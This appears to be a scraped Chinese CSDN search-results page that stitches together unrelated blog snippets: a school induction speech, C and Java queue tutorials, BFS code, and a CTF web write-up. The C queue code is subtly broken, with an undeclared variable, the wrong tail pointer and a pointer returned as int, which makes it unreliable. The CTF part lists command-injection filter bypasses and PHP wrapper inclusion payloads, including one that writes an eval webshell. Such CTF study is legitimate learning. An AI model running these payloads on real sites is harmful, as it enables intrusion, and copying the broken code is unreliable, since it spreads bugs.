精华内容
下载资源
问答
  • 少先队入队仪式校长讲话稿 各位老师、同学们: 今天,我们的少先队又有新的队员加入了,我谨代表学校、全体老师、同学们向你们表示热烈的祝贺! 同学们,从今天起,你们就是我们中国少年先锋队的一员了。红领巾是...
  • 排在最前面的是不是可以最先完成取票离开,而后来则需要在队尾继续排队呢,在数据结构中队列就是一种先进先出 只在一头入队另一头出队的存储结构 队列也有数组及链式两中结构,而我们今天学习的就是创建链式队列 ...

    创建队列及入队出队

    1.首先我们来了解什么是队列,在现实生活中我们都排过队取票吧,排在最前面的是不是可以最先完成取票离开,而后来则需要在队尾继续排队呢,在数据结构中队列就是一种先进先出 只在一头入队另一头出队的存储结构 队列也有数组及链式两中结构,而我们今天学习的就是创建链式队列
    用图来让我们更直观的了解队列吧
    在这里插入图片描述
    每个队列都包含了一个两个指针 一个指向队头,一个指向队尾
    让我们用代码直观的写出队列:
    1.首先创建结构体变量

     struct Node
     { 
         int data;
         struct Node* next;
     };
    

    2.接下来创建将要入队的结点

    sturct Node* creatNode(data)
    { 
      // 将指针-> 变量  动态内存申请
      struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));
      //初始化结点
      newNode->data=data;
      newNode->next=NULL;
      return newNode;
    }
    

    3.创建完结点后来创建队列结构体

    struct Queue
    {
       struct Queue* frontNode   //队头指针
       struct Queue* tailNode   //队尾指针
       int size;                //队列长度 
    };
    

    4-创建完队列结构体之后来创建队列

    struct Queue* creatQueue()
    {
       //创建队就是创建一个队列的结构体变量
       //通过动态内存申请将指针变为变量
       struct Queue* myQueue=(struct Queue*)malloc(sizeof(struct Queue));
       //初始化队列
       myQueue->frontNode=myQueue->tailNode=NULL;
       myQueue->size=0;   //刚创建队列长度为0
       return myQueue;
    }
    

    5.队列的创建也已经基本完成了现在来对队列进行操作
    入队(尾插法):

    void push(struct Queue* myQueue,int data)
    {  
      //首先判断队列长度是否为0
     if(myQueue->size == 0)
     {
      myQueue->frontNode=myQueue->tailNode=newNode;
     }
     else
     {
         //调用创造结点函数创造将要插 入的新结点
    	 struct Node* newNode=creatNode(data);
     	 myQueue->frontNode->next=newNode; //尾结点指针指向新结点	
    	 myQueue->frontNode=newNode;   //队尾指针后移
      }
       myQueue->size++;    //队元素加一
    }
    

    6.获取队首元素

    int top(struct Queue* myQueue)
    {
      if(myQueue->size==0)
      {
        printf("队列为空,无法获取队首元素\n");
        system("pause");
        return myQueue->size; //输出队列长度0
      }
      return myQueue->frontNode->next;  //输出首元素
     }
    

    7.出队(表头删除法)

    void pop(struct Queue* myQueue)
    {
      //首先判断队列是否为空,若为空则无法出队
      if(myQueue->size == 0)
      {
        printf("队列为空,无法出队\n");
        system("pause");
        return;
      }
      else
      { 
        //首先找到第二个元素,第一个元素出队后第二个元素称为首结点
       struct Node* nextNode=myQueue->frontNode->next;
       free(myQueue->frontNode);
       myQueue->frontNode=nextNode;  //首指针指向第二个结点
       myQueue->size--;    //队列元素减一
      }
    }
    

    8.再写一个判断队列是否为空的函数,在我们写栈和队列时都可以用到,又叫做万金油函数

    int empty(struct Queue* myQueue)
    {
        if(myQueue->size == 0)
           return 0;
        else
           return 1; 
    }
    

    9.测试程序

    int main()
    {
       //首先创建出队列
       struct Queue* myQueue = creatQueue();
       //入队
       push(myQueue,5);
       push(myQueue,2);
       push(myQueue,1);
       while(empty(myQueue))
       {
         printf("%d  ",top(myQueue));
         pop(myQueue);    //不停的出队 打印出队列所有元素
       }
       printf("\n");
       system("pause");  //防止闪屏  
       return 0;
    }
    

    在这里插入图片描述
    到这里队列的创建及操作也就结束了,博主也是一个小白,有不正确的地方还希望大家指出嘿嘿

    展开全文
  • 菜鸟入队做题记录

    2021-01-05 17:18:36
    但是我们要绕过(即代码中不能出现flag) 先用上我同学教我的方法 也可以用另一种方式 当然还有可以利用蚁剑来连接 首先要知道蚁剑默认不允许连接edu和gov的域名 所以我们要连接蚁剑应该直接用ip ip的获得则可以去...

    @WEB1
    在这里插入图片描述
    在这里插入图片描述
    从代码中可以看到这里利用了post传参cmd来执行(eval代码执行函数)
    但是我们要绕过(即代码中不能出现flag)


    也可以用另一种方式
    在这里插入图片描述
    当然还有可以利用蚁剑来连接
    首先要知道蚁剑默认不允许连接edu和gov的域名
    所以我们要连接蚁剑应该直接用ip
    ip的获得则可以去ping
    在这里插入图片描述
    获得ip地址 去连接蚁剑
    在这里插入图片描述

    当然也可以去除blacklist来可以使用edu
    在这里插入图片描述
    接下来让我们去了解一下rce绕过吧

    @RCE漏洞之绕过

    一 花括号
    {}
    在Linux bash中还可以使用 {OS_COMMAND,ARGUMENT}来执行系统命令
    {cat,flag}

    二 斜杠
    路径 /
    \是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
    也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过

    三 空格过滤
    < 、<>、%20(space)、%09(tab)、$IFS$9、 IFS{IFS}、IFS等

    四 一些命令分隔符
    linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
    windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

    五 黑名单绕过
    1 拼接绕过
    比如:a=l;b=s;aab
    利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat aab
    利用.拼接绕过(sy.(st).em)
    使用内敛执行代替system

    echo ls;
    echo (ls);?><?=ls;?><?=(ls); ?><?=`ls`; ?><?=(ls);

    <?=`ls /`;?> # 等效于<?php echo `ls /`; ?

    2 编码绕过
    [root~]# echo ‘Y2F0wqAK’ | base64 -d 1.txt
    -d是解码,是base64解码
    xxd - r -p可以转换16进制,同样用户管道符之后
    3 单引号和双引号绕过
    比如:ca‘‘t flag 或ca""t flag
    4 利用shell特殊变量绕过
    例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
    @ca@表示 比如:ca@t fla$@g或者ca$1t fla$2g
    5 linux中直接查看文件内容的工具
    cat、tac、more、less、head、tail、nl、sed、sort、uniq
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    (假设该目录下有index.php和flag.php)
    cat ls 等同于cat flag.php;cat index.php
    6 文件构造
    在ctfhub文件包含中,有一个shell,txt,也就是文件
    我们令?file = shell.txt,已知shell.txt内容为

    <?php eval($_REQUEST['ctfhub']);?>

    wrequest类型是由get和post构成的
    在post数据里输入
    ctfhub=system(“ls /”);
    就可以执行命令.
    @WEB2
    在这里插入图片描述

    看一下
    在这里插入图片描述
    这里利用了php的伪协议
    ?file=/flag
    当然为了更加严谨一些 我们可以这样
    ?file=php://filter/read=convert.base64-encode/resource=/flag
    ZmxhZ3swYmNlMTcxMGIyZWY0NDc0OWZjMzA4MGQ4ZDJhZjg4MX0K
    再去进行编码 这样子的话可以提高正确性
    当然这里的话可以直接
    ?file=php://filter/resource=/flag

    后面就来了解一下
    @php伪协议

    一 file:// 协议
    作用:用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
    注意:file://文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。
    用法:
    file://[文件的绝对路径和文件名]
    http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
    [文件的相对路径和文件名]
    http://127.0.0.1/include.php?file=./phpinfo.txt
    [http://网络路径和文件名]
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

    二 php:// 协议
    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
    用法:
    1 php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
    2 php://input + [POST DATA]执行php代码
    如http://127.0.0.1/include.php?file=php://input
    [POST DATA部分]

    <?php phpinfo(); ?>

    若有写入权限,还可以写入一句话木马
    http://127.0.0.1/include.php?file=php://input
    [POST DATA部分]

    <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

    三 zip:// & bzip2:// & zlib:// 协议
    zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

    用法
    1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
    压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
    http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
    2.compress.bzip2://file.bz2
    压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
    http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

    四 data:// 协议
    data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
    用法
    data://text/plain,
    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

    data://text/plain;base64
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    五 phar:// 协议
    phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
    http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

    web入门还在路上
    经过这次考核发现自己之前在胡做题
    没有做到一题解决一道遇到类似的照样可以做出
    希望以后可以克制自己去多积累一些知识就像上面的就不怎么知道
    加油吧 冲冲冲

    展开全文
  • 2019级入队少先队新队员代表发言稿 敬爱的老师,亲爱的同学们: 大家好! 我渴望长大、盼望上学。那一天我终于成为了一年级的小学生,那时起我心中就有个梦想:盼望有一天,能像大哥哥大姐姐一样戴上红领巾,在...
  • 之前我们已经通过《Spring Cloud Stream消费失败后的处理策略(一):自动重试》一文介绍了Spring Cloud Stream默认的消息重试功能。本文将介绍RabbitMQ的binder提供的另外一种重试功能:重新入队。 动手试试 准备一...

    应用场景

    之前我们已经通过《Spring Cloud Stream消费失败后的处理策略(一):自动重试》一文介绍了Spring Cloud Stream默认的消息重试功能。本文将介绍RabbitMQ的binder提供的另外一种重试功能:重新入队。

    动手试试

    准备一个会消费失败的例子,可以直接沿用前文的工程,也可以新建一个,然后创建如下代码的逻辑:

    @EnableBinding(TestApplication.TestTopic.class)
    @SpringBootApplication
    public class TestApplication {
    
        public static void main(String[] args) {
            SpringApplication.run(TestApplication.class, args);
        }
    
        @RestController
        static class TestController {
    
            @Autowired
            private TestTopic testTopic;
    
            /**
             * 消息生产接口
             *
             * @param message
             * @return
             */
            @GetMapping("/sendMessage")
            public String messageWithMQ(@RequestParam String message) {
                testTopic.output().send(MessageBuilder.withPayload(message).build());
                return "ok";
            }
    
        }
    
        /**
         * 消息消费逻辑
         */
        @Slf4j
        @Component
        static class TestListener {
    
            private int count = 1;
    
            @StreamListener(TestTopic.INPUT)
            public void receive(String payload) {
                log.info("Received payload : " + payload + ", " + count);
                throw new RuntimeException("Message consumer failed!");
            }
    
        }
    
        interface TestTopic {
    
            String OUTPUT = "example-topic-output";
            String INPUT = "example-topic-input";
    
            @Output(OUTPUT)
            MessageChannel output();
    
            @Input(INPUT)
            SubscribableChannel input();
    
        }
    
    }
    

    内容很简单,既包含了消息的生产,也包含了消息消费。消息消费的时候主动抛出了一个异常来模拟消息的消费失败。

    在启动应用之前,还要记得配置一下输入输出通道对应的物理目标(exchange或topic名)、并设置一下分组,比如:

    spring.cloud.stream.bindings.example-topic-input.destination=test-topic
    spring.cloud.stream.bindings.example-topic-input.group=stream-exception-handler
    spring.cloud.stream.bindings.example-topic-input.consumer.max-attempts=1
    spring.cloud.stream.rabbit.bindings.example-topic-input.consumer.requeue-rejected=true
    
    spring.cloud.stream.bindings.example-topic-output.destination=test-topic
    

    完成了上面配置之后,启动应用并访问localhost:8080/sendMessage?message=hello接口来发送一个消息到MQ中了,此时可以看到程序不断的抛出了消息消费异常。这是由于这里我们多加了一个配置:spring.cloud.stream.rabbit.bindings.example-topic-input.consumer.requeue-rejected=true。在该配置作用之下,消息消费失败之后,并不会将该消息抛弃,而是将消息重新放入队列,所以消息的消费逻辑会被重复执行,直到这条消息消费成功为止。

    深入思考

    在完成了上面的这个例子之后,可能读者会有下面两个常见问题:

    问题一:之前介绍的Spring Cloud Stream默认提供的默认功能(spring.cloud.stream.bindings.example-topic-input.consumer.max-attempts)与本文所说的重入队列实现的重试有什么区别?

    Spring Cloud Stream默认提供的默认功能只是对处理逻辑的重试,它们的处理逻辑是由同一条消息触发的。而本文所介绍的重新入队史通过重新将消息放入队列而触发的,所以实际上是收到了多次消息而实现的重试。

    问题二:如上面的例子那样,消费一直不成功,这些不成功的消息会被不断堆积起来,如何解决这个问题?

    对于这个问题,我们可以联合前文介绍的DLQ队列来完善消息的异常处理。

    我们只需要增加如下配置,自动绑定dlq队列:

    spring.cloud.stream.rabbit.bindings.example-topic-input.consumer.auto-bind-dlq=true
    

    然后改造一下消息处理程序,可以根据业务情况,为进入dlq队列增加一个条件,比如下面的例子:

    @StreamListener(TestTopic.INPUT)
    public void receive(String payload) {
        log.info("Received payload : " + payload + ", " + count);
        if (count == 3) {
            count = 1;
            throw new AmqpRejectAndDontRequeueException("tried 3 times failed, send to dlq!");
        } else {
            count ++;
            throw new RuntimeException("Message consumer failed!");
        }
    }
    

    设定了计数器count,当count为3的时候抛出AmqpRejectAndDontRequeueException这个特定的异常。此时,当只有当抛出这个异常的时候,才会将消息放入DLQ队列,从而不会造成严重的堆积问题。

    代码示例

    本文示例读者可以通过查看下面仓库的中的stream-exception-handler-4项目:

    如果您对这些感兴趣,欢迎star、follow、收藏、转发给予支持!

    以下专题教程也许您会有兴趣

    本文首发:http://blog.didispace.com/spring-cloud-starter-finchley-7-5/

    展开全文
  • 那么我们就要寻找新的入队条件:left比上次经过的时候大才入队(left表示上次经过该点时剩余的时间)。 为什么呢?我们重复走过一个点只有一个可能,那就是为了去取那个,所以如果取完后再回头经过这个点的时候剩余...

    之前的BFS都是需要一个标记数组,但这个题不一样,因为可能一个格子不止走一次。

    那么我们就要寻找新的入队条件:left比上次经过的时候大才入队(left表示上次经过该点时剩余的时间)。

    为什么呢?我们重复走过一个点只有一个可能,那就是为了去取那个,所以如果取完后再回头经过这个点的时候剩余时间变多了,我们的目的就达到了。

    left数组初值为0

    优化:

    重置时间的装置最多取一次就够了,所以可以再开一个标记数组vis记录装置是否用过。

     

     1 //#define LOCAL
     2 #include <cstdio>
     3 #include <cstring>
     4 #include <queue>
     5 using namespace std; 
     6 
     7 struct Point
     8 {
     9     int x, y;
    10     int steps;
    11     int time;
    12 }start, end;
    13 
    14 int map[10][10], vis[10][10], left[10][10];
    15 int dir[4][2] = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
    16 int row, col;
    17 
    18 void BFS(void)
    19 {
    20     queue<Point> qu;
    21     start.time = 6, start.steps = 0;
    22     qu.push(start);
    23     while(!qu.empty())
    24     {
    25         Point fir = qu.front();
    26         qu.pop();
    27         if(fir.time == 0)    continue;
    28         if(fir.x == end.x && fir.y == end.y)
    29         {
    30             printf("%d\n", fir.steps);
    31             return;
    32         }
    33         if(map[fir.x][fir.y] == 4)
    34             fir.time = 6;
    35         for(int i = 0; i < 4; ++i)
    36         {
    37             int xx = fir.x + dir[i][0];
    38             int yy = fir.y + dir[i][1];
    39             if(xx<0 | xx>=row | yy<0 | yy>=col | (!map[xx][yy]))
    40                 continue;
    41             Point next;
    42             next.x = xx, next.y = yy;
    43             next.time = fir.time - 1;
    44             next.steps = fir.steps + 1;
    45             if(map[xx][yy] == 4 && vis[xx][yy])
    46                 continue;
    47             if(next.time > left[xx][yy])
    48             {
    49                 left[xx][yy] = next.time;
    50                 qu.push(next);
    51             }
    52         }
    53     }
    54     printf("-1\n");
    55 }
    56 
    57 int main(void)
    58 {
    59     #ifdef LOCAL
    60         freopen("1072in.txt", "r", stdin);
    61     #endif
    62 
    63     int T;
    64     scanf("%d", &T);
    65     while(T--)
    66     {
    67         scanf("%d%d", &row, &col);
    68         for(int i = 0; i < row; ++i)
    69             for(int j = 0; j < col; ++j)
    70             {
    71                 scanf("%d", &map[i][j]);
    72                 if(map[i][j] == 2)
    73                     start.x = i, start.y = j;
    74                 if(map[i][j] == 3)
    75                     end.x = i, end.y = j;
    76             }
    77         memset(vis, 0, sizeof(vis));
    78         memset(left, 0, sizeof(left));
    79         BFS();
    80     }
    81     return 0;
    82 }
    代码君

     

    转载于:https://www.cnblogs.com/AOQNRMGYXLMV/p/3915761.html

    展开全文
  • 开发工具与关键技术:Visual Studio 2015 作者:杨灵武 撰写时间:2020/05/27 让我们跟着课程队列的特点。...和rear都等于0 就使得我们的循环队列front和rear在空的时候等于0,然后我们判断队列 是否为空
  • 我们的主要专长是基于Symfony框架的解决方案,但我们一直在寻找能够使我们以最佳方式完成工作的技术。 我们致力于创建解决方案,以在架构和可伸缩性方面彻底改变事物的开发方式。 如果您对我们的开源开发有任何...
  • 有一名新生加入了合唱队,我们给他举办了一个非常大的欢迎仪式。欢迎过后,同学们想要给他安排一个合唱时,他需要站的位置。而合唱队是两面低,中间高的。     这个同学可能会站在左面或者右面...
  • 新少先队员代表入队发言稿 敬爱的老师、亲爱的同学们: 大家好! 我是三年级的袁洪。在这个激动人心的时刻,能够代表新队员讲话,我感到非常的光荣。 从今天起,我就是一名真正的少先队员了,看到眼前飘动的...
  • 之前我们已经通过《Spring Cloud Stream消费失败后的处理策略(一):自动重试》一文介绍了Spring Cloud Stream默认的消息重试功能。本文将介绍RabbitMQ的binder提供的另外一种重试功能:重新入队。 动手试试 准备...
  • 循环队列的一些问题总结,入队、出队操作

    千次阅读 多人点赞 2019-02-02 12:48:39
    1.在队列的顺序存储方式里,为了避免存储空间的“假溢出”,充分利用存储空间,我们用了一种实现方式,即循环队列。 (1).图中有两个指针(只是两个整型变量,因为在这里有指示作用,所以理解为指针) front、rear,...
  • 简介 队列就是一种先进先出的数据结构 ...下面我们采用余数法 队空条件: rear == front 队满条件: (rear+1)%maxsize== front 队最多容纳元素个数: (rear-front+maxsize)%maxsize 代码实现 #include
  • 好几天没有更新博客了今天我们一起来看一下环形队列。 队列:只允许在一端进行插入数据操作,在另一端进行删除数据操作的特殊线性表,队列具有先进先出 FIFO(First In First Out) 入队列:进行插入操作的一端称为...
  • C++的头文件已经包含了队列如下所示,但我们也要了解一下他们的实现原理,而且stl提供的容器都是“通用版本”,在解决某些具体问题时,stl不一定是最合适最高效的,有时候还是要自己实现特化版本……,所以自己编写...
  • 队列实现栈我们昨天实现了如何用两个栈实现队列,原理很简单,今天我们来实现一下如何用队列实现栈,原理更简单。解题思路:我们利用队列先进先出的特点,每次队列模拟入栈时,我们先将队列之前入队的...
  • 如果我们使用数组来实现队列,当队列尾部没有空闲空间时,即便整个队列有空闲空间,新数据也将无法入队。除非采用“数据搬移”的方法,将队尾的数据全部搬移到队列头部,这样队列尾巴才有空间可以进行入队操作。 ...
  • 千万,千万不要一直犹豫,等到开了学再报名,新兵训练营尽可能做到整齐入队、从开学第一天开始就入队训练,效果自然更显著! 第一问:课程内容设置? 在2020年以前的课程基础上,我们增加了2个新的模块,截止到...
  • 排队是生活中非常常见的现象,比如我们排队进游乐场,排在你前面的肯定是比你早排队的人,排在你后面的肯定是比你晚排队的人,换成专业点的语言也就是FIFO(First In, First Out,先进先出) 这就是队列了。...
  • 双端单调队列

    千次阅读 多人点赞 2018-09-16 10:16:51
    上次我们介绍了单调栈结构https://blog.csdn.net/hebtu666/article/details/82717317 这次介绍一种新的数据结构:双端队列:双端队列是指允许两端都可以进行入队和出队操作的队列,其元素的逻辑结构仍是线性结构。...
  • 通过几篇文章的分析我们知道了JDK的AQS的锁是基于CLH锁进行优化的,而其中使用了FIFO队列,也就是说等待队列是一个先进先出的队列。那是否就可以说每条线程获取锁时就是公平的呢?关于公平性,严格来说应该分成三个...
  • SEDA源码解读(三)

    千次阅读 2012-04-21 21:52:49
    本篇,我们继续来看看seda的开源项目sandstorm,这次我们主要关注aDisk包的实现: AFile-通过上一篇我们对SimpleSink的介绍可以看出这是一个对于队列“槽端”的实现,事实上你会发现它并没有真正提供实现,这是一个...
  • 看完这篇你还不知道这些队列,我这些图白作了

    千次阅读 多人点赞 2019-08-30 21:30:23
    队列跟我们排队买票一样,先来排队的肯定先买票,后来排队的的后买到票。队列如下图所示: 队列有两个重要的概念,一个叫队头,一个叫队尾,队头指向的是第一个元素,而队尾指向的是最后一个元素。队列跟栈一样也是...
  • 电商大发展和利润分配

    万次阅读 2021-03-18 14:14:45
    很幸运我们踩对了点,入队了行。我们千方百计把产品和服务做上去了,把市场搞活了,把用户习惯培养出来了,但是这行最赚钱的,还是那些大品牌商品。回归本源,商品的品质是最终的价值所在。所以拼多多的董事长黄铮也...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 572
精华内容 228
关键字:

我们入队了